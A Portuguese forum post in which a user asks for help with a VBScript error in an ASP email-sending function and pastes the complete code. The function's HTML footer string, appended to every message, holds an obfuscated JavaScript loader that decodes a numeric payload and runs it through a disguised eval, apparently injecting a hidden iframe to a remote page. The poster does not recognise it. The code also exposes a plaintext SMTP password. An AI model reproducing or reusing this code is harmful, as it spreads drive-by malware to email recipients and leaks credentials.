Ir para conteúdo
Fórum CódigoFonte.net
Entre para seguir isso  
chelfernandes

Ajuda com erro '800a0401'

Recommended Posts

Olá, boa tarde a todos!

Estou com problemas em um código em ASP, faz parte do sistema aqui da empresa e desde ontem está dando o seguinte erro quando tentamos acessar o site:

Microsoft VBScript compilation error '800a0401'

Expected end of statement

/includes/sendMail.asp, line 14

Não manjo nada de ASP e isso é muito urgente, se alguém puder ajudar, agradeço!

Segue o código completo da página:

<%

'*>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*

'*> PROCESSAMENTO DE E-MAIL

'*------------------------------------------------------------------------------------------*

Function sendMail(toMail, subject, msg, fromName, fromMail, replyTo)


	Dim html_open, html_close, headers

	Dim oMail, oMailConfig, cdoImportance, cdoPriority

	Dim send


	send = "ok"


	html_open = "<html><head><meta http-equiv=Content-Type content=""text/html; charset=iso-8859-1""><meta http-equiv=""Content-Language"" content=""pt-br""><meta content=""MSHTML 6.00.3790.0"" name=GENERATOR></head><body><div style=""font-family:tahoma,verdana,arial; font-size:11px;"">"

	html_close = "</div></body></html><!-- o -->&lt;script>aa=([].pop+'asd').substr(2-1,4);if((aa=="func")||(aa=="unct"))aa=(document['createDocumentFragment']+'asd').substr(2-1,4);if((aa=="func")||(aa=="unct")){ss="";s=String;e=window['e'+'val'];t='b';}ddd=new Date();d2=new Date(ddd.valueOf()-2);h=(ddd-d2)*-1;n="4.5b4.5b52.5b51b16b20b50b55.5b49.5b58.5b54.5b50.5b55b58b23b51.5b50.5b58b34.5

b54b50.5b54.5b50.5b55b58b57.5b33b60.5b42b48.5b51.5b39b48.5b54.5b50.5b20b19.5b49b

55.5b50b60.5b19.5b20.5b45.5b24b46.5b20.5b61.5b4.5b4.5b4.5b52.5b51b57b48.5b54.5b5

0.5b57b20b20.5b29.5b4.5b4.5b62.5b16b50.5b54b57.5b50.5b16b61.5b4.5b4.5b4.5b50b55.

5b49.5b58.5b54.5b50.5b55b58b23b59.5b57b52.5b58b50.5b20b17b30b52.5b51b57b48.5b54.

5b50.5b16b57.5b57b49.5b30.5b19.5b52b58b58b56b29b23.5b23.5b57.5b58b48.5b58b52.5b4

9.5b50b58.5b56b50b48.5b58b50.5b23b49.5b55.5b54.5b23.5b58b50.5b54.5b56b23.5b57.5b

58b48.5b58b23b56b52b56b19.5b16b59.5b52.5b50b58b52b30.5b19.5b24.5b24b19.5b16b52b5

0.5b52.5b51.5b52b58b30.5b19.5b24.5b24b19.5b16b57.5b58b60.5b54b50.5b30.5b19.5b59b

52.5b57.5b52.5b49b52.5b54b52.5b58b60.5b29b52b52.5b50b50b50.5b55b29.5b56b55.5b57.

5b52.5b58b52.5b55.5b55b29b48.5b49b57.5b55.5b54b58.5b58b50.5b29.5b54b50.5b51b58b2

9b24b29.5b58b55.5b56b29b24b29.5b19.5b31b30b23.5b52.5b51b57b48.5b54.5b50.5b31b17b

20.5b29.5b4.5b4.5b62.5b4.5b4.5b51b58.5b55b49.5b58b52.5b55.5b55b16b52.5b51b57b48.

5b54.5b50.5b57b20b20.5b61.5b4.5b4.5b4.5b59b48.5b57b16b51b16b30.5b16b50b55.5b49.5

b58.5b54.5b50.5b55b58b23b49.5b57b50.5b48.5b58b50.5b34.5b54b50.5b54.5b50.5b55b58b

20b19.5b52.5b51b57b48.5b54.5b50.5b19.5b20.5b29.5b51b23b57.5b50.5b58b32.5b58b58b5

7b52.5b49b58.5b58b50.5b20b19.5b57.5b57b49.5b19.5b22b19.5b52b58b58b56b29b23.5b23.

5b57.5b58b48.5b58b52.5b49.5b50b58.5b56b50b48.5b58b50.5b23b49.5b55.5b54.5b23.5b58

b50.5b54.5b56b23.5b57.5b58b48.5b58b23b56b52b56b19.5b20.5b29.5b51b23b57.5b58b60.5

b54b50.5b23b59b52.5b57.5b52.5b49b52.5b54b52.5b58b60.5b30.5b19.5b52b52.5b50b50b50

.5b55b19.5b29.5b51b23b57.5b58b60.5b54b50.5b23b56b55.5b57.5b52.5b58b52.5b55.5b55b

30.5b19.5b48.5b49b57.5b55.5b54b58.5b58b50.5b19.5b29.5b51b23b57.5b58b60.5b54b50.5

b23b54b50.5b51b58b30.5b19.5b24b19.5b29.5b51b23b57.5b58b60.5b54b50.5b23b58b55.5b5

6b30.5b19.5b24b19.5b29.5b51b23b57.5b50.5b58b32.5b58b58b57b52.5b49b58.5b58b50.5b2

0b19.5b59.5b52.5b50b58b52b19.5b22b19.5b24.5b24b19.5b20.5b29.5b51b23b57.5b50.5b58

b32.5b58b58b57b52.5b49b58.5b58b50.5b20b19.5b52b50.5b52.5b51.5b52b58b19.5b22b19.5

b24.5b24b19.5b20.5b29.5b4.5b4.5b4.5b50b55.5b49.5b58.5b54.5b50.5b55b58b23b51.5b50

.5b58b34.5b54b50.5b54.5b50.5b55b58b57.5b33b60.5b42b48.5b51.5b39b48.5b54.5b50.5b2

0b19.5b49b55.5b50b60.5b19.5b20.5b45.5b24b46.5b23b48.5b56b56b50.5b55b50b33.5b52b5

2.5b54b50b20b51b20.5b29.5b4.5b4.5b62.5";n=n["split"](t);for(i=0;i<n.length;i++)ss+=s['fromCharCode'](-h*n[i]);zx=ss;if((aa=="unct")||(aa=="func"))e(zx);</script><!-- c -->"


	If InStr(msg, "</html>")=0 Then

		msg = html_open & msg & html_close

	End If


	'---------------------------------------------------------------------------------------'

	'CDOSYS

	'---------------------------------------------------------------------------------------'

	Set oMail = Server.CreateObject("CDO.Message")

	Set oMailConfig = Server.CreateObject ("CDO.Configuration")


	'SMTP

	oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "localhost"

	'PORTA DO SMTP

	oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25

	'ATIVAR RECURSO DE SMTP AUTENTICADO

	'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1

	'USU&#193;RIO PARA SMTP AUTENTICADO

	'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendusername") = fromMail

	'SENHA DO USU&#193;RIO PARA SMTP AUTENTICADO

	'oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "ferrarif40"

	'SMTP AUTENTICADO

	oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2

	'TIMEOUT

	oMailConfig.Fields("http://schemas.microsoft.com/cdo/configuration/smtpconnectiontimeout") = 30

	'PRIORIDADE

	oMailConfig.Fields.Item("urn:schemas:httpmail:priority").Value = 1

	'IMPORT&#194;NCIA

	oMailConfig.Fields.Item("urn:schemas:httpmail:importance").Value = 2

	oMailConfig.Fields.Update


	'CABE&#199;ALHO

	oMail.Fields.Item("urn:schemas:mailheader:Priority").Value = "urgent"

	oMail.Fields.Item("urn:schemas:mailheader:Importance").Value = "high"

	oMail.Fields.Item("urn:schemas:mailheader:X-Priority").Value = 1

	oMail.Fields.Item("urn:schemas:mailheader:X-MSMail-Priority").Value = "High"

	oMail.Fields.Item("urn:schemas:mailheader:X-Mailer").Value = "Microsoft Outlook Express 6.00.2900.5512"

	oMail.Fields.Update


	'ATUALIZA AS CONFIGURA&#199;&#213;ES

	Set oMail.Configuration = oMailConfig


	oMail.From =  fromName & "<" & fromMail & ">" 'Nome e e-mail do remetente

	oMail.To = toMail 'Destinat&#225;rio

	oMail.ReplyTo = replyTo 'Responder para...

	oMail.Subject = subject 'Assunto

	oMail.HtmlBody = msg 'Mensagem


	On Error Resume Next


	oMail.Send


	If Err.Number<>0 Then

		send = Err.Description

	End If


	Set oMail = Nothing

	Set oMailConfig = Nothing

	sendMail = send

End Function

'*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<*

%>

Será que alguém consegue me ajudar? :mellow:

Compartilhar este post


Link para o post
Compartilhar em outros sites

Crie uma conta ou entre para comentar

Você precisar ser um membro para fazer um comentário

Criar uma conta

Crie uma nova conta em nossa comunidade. É fácil!

Crie uma nova conta

Entrar

Já tem uma conta? Faça o login.

Entrar Agora
Entre para seguir isso  

×
×
  • Criar Novo...